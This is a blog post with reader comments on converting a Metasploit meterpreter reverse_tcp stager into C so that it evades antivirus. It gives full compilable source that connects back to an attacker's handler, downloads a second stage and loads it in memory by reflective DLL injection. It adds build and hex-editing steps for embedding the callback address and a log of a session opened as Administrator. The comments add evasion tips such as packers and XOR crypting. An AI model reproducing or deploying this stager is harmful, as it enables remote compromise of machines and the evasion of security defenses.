Evade antivirus convert shellcode to c

Posted: February 4, 2013 in general, security
Tags: , , , ,

So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.

0

Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:

Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:

  • connect to metasploit handler
  • get the second stage
  • execute it in memory

For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.

/*
	Author: DiabloHorn https://diablohorn.wordpress.com
	Undetected meterpreter/reverse_tcp stager
	Compile as C
	Disable optimization, this could help you later on
	when signatures are written to detect this. With a bit of luck
        all you have to do then is compile with optimization.

*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#include "LoadLibraryR.h"
#include "GetProcAddressR.h"

#pragma comment(lib, "ws2_32.lib")

int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);

/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;

/*
	doit
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
	HANDLE threadhandle;
	DWORD  threadid;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	char szPath[MAX_PATH];

	GetModuleFileName(NULL,szPath,MAX_PATH);
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

	/* Quick & Dirty hack to make this usable for psexec like stuff
	   When executed the first time it will spawn itself this makes
	   sure we return on time and don't get killed by the servicemanager
	*/

	if(strlen(lpCmdLine) == 0){
		strcat_s(szPath,MAX_PATH," 1");
		CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	}

	if(strlen(lpCmdLine) > 0){
		//thread just for fun...no real purpose atm
		threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
		WaitForSingleObject(threadhandle,INFINITE);
	}
}

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
	read port:ip
	Receive stage
	Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart(meterpretersock);

	free(payload);
	//closesocket(sock); meterpreter is still using it
}
/*
	Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
	SOCKADDR_IN dinfo;
	SOCKET sock;
	int respcode = 0;
	char *ipaddr = (char *)malloc(sizeof(char)*25);
	short port = 0;

	memset(ipaddr,0,sizeof(char)*16);
	port = getcinfo(self,ipaddr,16);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sock == INVALID_SOCKET){
		printf("socket failed\n");
		exit(0);
	}
    dinfo.sin_family = AF_INET;
    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);

	respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
	if(respcode == SOCKET_ERROR){
		exit(0);
	}
	free(ipaddr);
	return sock;
}

/*
	Initialize winsock
*/
int initwsa(){
	int wsaerror = 0;
	//wsa is defined above main
	wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
	if(wsaerror != 0){
		return -1;
	}
	return 0;
}

/*
	Get ip address and port information from our own executable
	Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
	int i = 0;
	int offset = 0x4e;
	//[port as little endian hex][ip as string \0 terminated]
	//9999 -> 270f -> 0f27
	//127.0.0.1 -> 127.0.0.1
	//make sure to padd with \0's until max buffer, or this will read weird stuff
	short port = 0;
	FILE * file = fopen(self, "r");
	fseek(file,offset,SEEK_SET);
	fread((void *)&port,(size_t)sizeof(short),1,file);
	fread(ipaddr,(size_t)len,1,file);
	fclose(file);
	return port;
}

Now let’s see how to convert the above to a working executable. First of all you’ll need a compiler, personally I prefer visual studio c++ 2010 express. It’s free and the IDE & debugger combo rock.
Create a new project and choose a win32 project. Don’t choose a win32 console application. The reason for this (besides the above src not compiling) is that if you use a traditional main when using psexec it will show a popup requiring attention. In the next window click next and tick the box that says ’empty project’, then hit finish.

Create a C file like this:

1

2

Now paste the above code into it, don’t hit build immediately since it won’t build we need to add a few files first. We need the following files:

  • LoadLibraryR.c
  • LoadLibraryR.h
  • GetProcAddress.c
  • GetProcAddress.h
  • ReflectiveDLLInjection.h

Which we again can get from the metasploit github:

Put them all in the same place as the C you created before. Then just add them to the project the same way you added the initial C file but instead of “new item” you choose “existing item”. Your visual studio should now look like this:

3

Next change the settings to use multi-byte characterset instead of unicode:

4

If you now set the configuration to “release” instead of “debug” and right click on the project to rebuild, it should compile just fine. Gives a few warnings due to me being lazy, but it will run. If you do not want to see msvcrt errors you’ll also have to change the following setting to what is set in the red box:

5

If you have looked at the source you’ll know that this executable won’t run just yet. It needs to be modified. I choose to embed the connect back IP and port information in the executable instead of having to recompile it every time I want to use it. This means that we have to hexedit our executable now and provide the connect back details. Start your favorite hex editor, I use frhed. Here is an example on how to edit it, let’s assume our connect back information is this: 127.0.0.1:1234  the format we want to have before we start hex editing is everything in hex. In this case 1234 becomes 04D2 and since it has to be little endian it becomes D204. The IP address becomes 3132372e302e302e31. So the whole string that should be hex edited into the executable becomes (spaces for readability):

d2 04 31 32 37 2e 30 2e 30 2e 31 00

Exactly, don’t forget to null byte (0x00) terminate that string or we sure will be connecting to some weird IP addresses, now just put that data in the executable starting at offset 0x4e. If everything went according to plan it now should look like this:

6

That’s all. If you now start a exploit/multi/handler and configure it with a windows/meterpreter/reverse_tcp it should all work as planned. Just as funny information, if you disable all optimization and upload the executable to virustotal is gets 1/46 as heuristic malware. So don’t forget that just recompiling and optimizing source does help a lot of times to evade antivirus, as explained in another post of mine.

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.50.0.103
LPORT => 9999
[*] Started reverse handler on 10.50.0.103:9999 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.50.0.101
[*] Meterpreter session 1 opened (10.50.0.103:9999 -> 10.50.0.101:49264) at 2013-01-25 00:57:28 +0100

meterpreter > getuid
Server username: WIN-WIN\Administrator
Advertisements
Comments
  1. […] meterpreter建立会话(这里可以参考链接:‍‍https://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c) meterpreter […]

  2. Glenn Symons says:

    i think resolving api adresses is still neede. Hardcoding those memory addresses restricts the shellcode to running on a specific version of Windows, service pack, and potentially even patch level…

  3. […] your shell. If you happen to run into IDS/IPS or AV problems you could try out some of the evasion posts I made in the […]

  4. Rose Garden says:

    Thanks for the great post, it has been a very educational process.

  5. d3v says:

    Hi, gj done here as i see. You getting 1/43 only because you editing header with frhed, some of av`s detecting timestamp difference. So the best way is to hide ipaddr,port into the code.
    And after that you can also use some simple packer to avoid av detections of original image by compiling your own or using src from upx or xor crypt

  6. jakuta says:

    Hi dablohorn, really enjoy your blog, thanks for taking the time to write up some very good tutorials.

  7. regex84 says:

    Thank you sir

  8. diablohorn says:

    @Hisham, just start small and keep improving.

    @regex84, You have to insert it yourself. The normal text that you will find there is “this program cannot be run in dos mode”. You need to replace that with your own information. You can also insert it in the code you have to edit the following lines:

    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);

    Replace the variables with your own values.

  9. regex84 says:

    I followed exactly your instructions but when i search the sequence “d2043132372e302e302e3100” I can’t found it. I sweep the hex I don’t see the 127.0.0.1 like your screenshot. Where is the problem? Is it possible to enter the IP and Port in the code? Thx

  10. Hisham says:

    Thank you for your reply but I’m new to all of this and i guess i cant understand it.
    I wish i can be like you xD

  11. diablohorn says:

    No you’d need to adjust the code to incorporate the gethostbyname function: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738524(v=vs.85).aspx

    An example of how you could do this can be found here:

    http://stackoverflow.com/questions/8916141/c-unix-socket-programming-connect-hanging-on-invalid-host-name

  12. Hisham says:

    Does this work with reverse_tcp_dns ?
    and if it does how can i add the domain (for example test.dyndns.net) in hex editor
    thank you for your great article

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s